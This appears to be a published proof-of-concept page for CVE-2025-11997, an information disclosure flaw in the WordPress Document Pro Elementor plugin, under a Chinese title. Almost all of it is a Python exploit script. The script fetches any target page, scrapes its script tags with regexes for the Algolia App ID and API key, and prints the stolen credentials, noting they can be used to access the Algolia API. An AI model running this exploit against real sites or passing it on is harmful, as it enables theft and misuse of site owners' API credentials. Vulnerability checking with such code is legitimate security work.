CVE-2025-11997 WordPress Document Pro Elementor插件敏感信息泄露漏洞

# CVE-2025-11997 PoC - Information Disclosure # Description: Document Pro Elementor plugin exposes Algolia API keys via frontend JavaScript import requests from bs4 import BeautifulSoup import re import json def exploit_cve_2025_11997(target_url): """ Exploit for CVE-2025-11997 Extracts sensitive Algolia API keys from WordPress page source """ print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-11997...") try: # Fetch the target page response = requests.get(target_url, timeout=30) if response.status_code != 200: print(f"[-] Failed to fetch page. Status: {response.status_code}") return None # Parse HTML to find exposed JavaScript data soup = BeautifulSoup(response.text, 'html.parser') # Search for wp_localize_script data containing Algolia keys algolia_keys = {} # Method 1: Search in script tags for localized data scripts = soup.find_all('script') for script in scripts: script_text = script.string if script.string else '' # Look for Algolia configuration if 'algolia' in script_text.lower() or 'dpAlgolia' in script_text: # Extract App ID app_id_match = re.search(r'["\']appId["\'\s:]+["\']([^"\']+)["\']', script_text, re.IGNORECASE) if app_id_match: algolia_keys['app_id'] = app_id_match.group(1) # Extract API Key api_key_match = re.search(r'["\']apiKey["\'\s:]+["\']([^"\']+)["\']', script_text, re.IGNORECASE) if api_key_match: algolia_keys['api_key'] = api_key_match.group(1) # Method 2: Search in inline JavaScript variables inline_patterns = [ r'var\s+\w+\s*=\s*\{[^}]*appId[^}]*\}', r'window\.dpAlgolia\s*=\s*\{[^}]*\}', r'algoliaConfig\s*=\s*\{[^}]*\}' ] for pattern in inline_patterns: matches = re.findall(pattern, response.text, re.IGNORECASE | re.DOTALL) for match in matches: print(f"[+] Found potential config: {match[:200]}...") # Report findings if algolia_keys: print("\n[+] SUCCESS! Exposed Algolia credentials found:") print(f" App ID: {algolia_keys.get('app_id', 'N/A')}") print(f" API Key: {algolia_keys.get('api_key', 'N/A')}") print("\n[!] These keys can be used to access Algolia API") return algolia_keys else: print("[-] No Algolia keys found in page source") return None except Exception as e: print(f"[-] Error: {str(e)}") return None def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-11997 """ print("[*] Checking if target is vulnerable...\n") result = exploit_cve_2025_11997(target_url) if result: print("\n[✓] Target is VULNERABLE to CVE-2025-11997") return True else: print("\n[✗] Target may NOT be vulnerable or plugin not installed") return False if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://example.com" # Replace with target URL check_vulnerability(target)